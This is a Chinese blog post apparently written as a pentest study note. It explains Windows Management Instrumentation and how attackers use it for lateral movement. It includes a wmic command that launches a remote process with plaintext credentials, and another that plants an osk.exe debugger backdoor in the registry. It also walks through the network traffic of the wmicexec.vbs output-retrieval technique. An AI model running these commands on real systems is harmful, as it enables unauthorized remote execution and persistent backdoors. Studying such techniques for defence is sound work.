了解WMI

什么叫WMI?

Windows管理规范(WMI)是Windows管理功能,它为本地和远程访问Windows系统组件提供了统一的环境。
它依赖于WMI服务进行本地和远程访问,并依赖于服务器消息块(SMB)和远程过程调用服务(RPCS)进行远程访问。
RPCS通过端口135运行。

wmi的类和命名空间怎么理解?

操作系统信息是通过WMI对象的方式表示的。一个WMI对象也就是一个WMI类的实例。
大多数常用的WMI类在MSDN中都有详细的描述,如Win32_Process类。然而还有很多WMI类并没有文档可查,
但是幸运的是,我们可以通过WQL来查询所有的WMI类。 与传统的面向对象编程语言相似,WMI类被分类分层的放在命名空间中。所有的命名空间都是从ROOT命名空间下的,
当不指定命名空间进行查询时,Microsoft会使用ROOT\CIMV2作为默认的命名空间。 所有的WMI设置,包括默认命名空间在下面的注册表键中: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM

 wmi强大在哪里?相比psexec

WMI的强大体现在通过远程操作的时候。目前,WMI支持两种协议:DCOM和WinRM,使用这两种协议可以做任何事情,包括查询对象,注册事件和执行WMI类的方法,等等。

两种协议都对攻击者有利,因为防御者通常不会检查这两种协议的恶意流量。利用WMI所需的东西就是可用的有权限的用户凭证。在Linux平台上的wmis-pth工具中,只需要提供被攻击者的用户哈希即可。

DCOM (Distributed Component Object Model)
从WMI被引入的时候起,DCOM就被当作默认协议。DCOM通过135端口建立TCP连接,后续的数据交换则通过随机选择的TCP端口传输。这个端口可以通过dcomcnfg.exe进行配置和修改,其最终是改动如下注册表项:

HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\Internet - Ports (REG_MULTI_SZ)

所有的PowerShell中内置的WMI命令都使用DCOM协议。

PS C:\Users\Michael\Desktop> Get-WmiObject -Class Win32_Process -ComputerName WIN-Q4UUJ0BPKL9 -Credential 'WIN-Q4UUJ0BPKL9\Administrator'
WinRM (Windows Remote Management)
近来,WinRM已经超过了DCOM,被Windows当作建议使用的协议。WinRM基于Web Services-Management (WSMan)规范,是一个SOAP-based设备管理协议。另外,PowerShell Remoting也是基于WinRM规范的,这使得我们能够通过PowerShell在大规模Windows企业环境中实现强大的远程管理功能。WinRM同样支持WMI,或者说CIM的网络操作。

默认情况下,WinRM服务开启并监听5985/tcp端口,而且默认是加密的。还可以通过配置证书的方式在5986/tcp端口实现HTTPS支持。

我们是如何通过wmi横向的呐?,又是如何获取输出的结果的

wmi横向执行命令

C:\Users\Administrator\Desktop\PSTools>wmic /node:192.168.1.101 /user:administra
tor /password:123456 process call create "cmd.exe /c calc.exe"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ProcessId = 2732;
        ReturnValue = 0;
};

 

wmi修改注册表添加后门

wmic /authority:”kerberos:Domain\user” /node:SQL01 process call create ‘reg.exe add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe” /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe”’

 我们通过wireshark的流量包不难分析出wmic执行命令的过程

1进行NTML认证
2由于没有指定命名空间所以使用ROOT\CIMV2作为默认的命名空间。
3调用Win32_Process类中静态方法Create创建进程

 

 但是这样的结果是不能被我们看见的

github上面有一款有回显的wmicexec.vbs

我们继续查看流量看他是如何获取回显的

https://github.com/Twi1ight/AD-Pentest-Script

 第一步建立ipc$

 

 然后新建了一个共享叫

 

然后新建一个叫wmi.dll的文件在此共享目录下面

 

从这里的数据分析不难看出创建的服务是我们要执行的命令输出到wmi.dll

 

 

 

读取完成后再删除wmi.dll

 

 此过程完全流量透明很容易被ids侦察出来。(后续会思考如何加密流量)

参考

https://www.cnblogs.com/-qing-/p/11374136.html
https://m0nst3r.me/pentest/%E5%88%A9%E7%94%A8WMI%E6%9E%84%E5%BB%BA%E4%B8%80%E4%B8%AA%E6%8C%81%E4%B9%85%E5%8C%96%E7%9A%84%E5%BC%82%E6%AD%A5%E7%9A%84%E6%97%A0%E6%96%87%E4%BB%B6%E5%90%8E%E9%97%A8.html
https://sapsan.eth.link/hacktricks/windows/ntlm/wmicexec/
https://dmcxblue.gitbook.io/red-team-notes/execution/windows-management-instrumentation-wmi

 

posted @ 2021-03-29 21:47  yourse1f  阅读(1040)  评论(1编辑  收藏  举报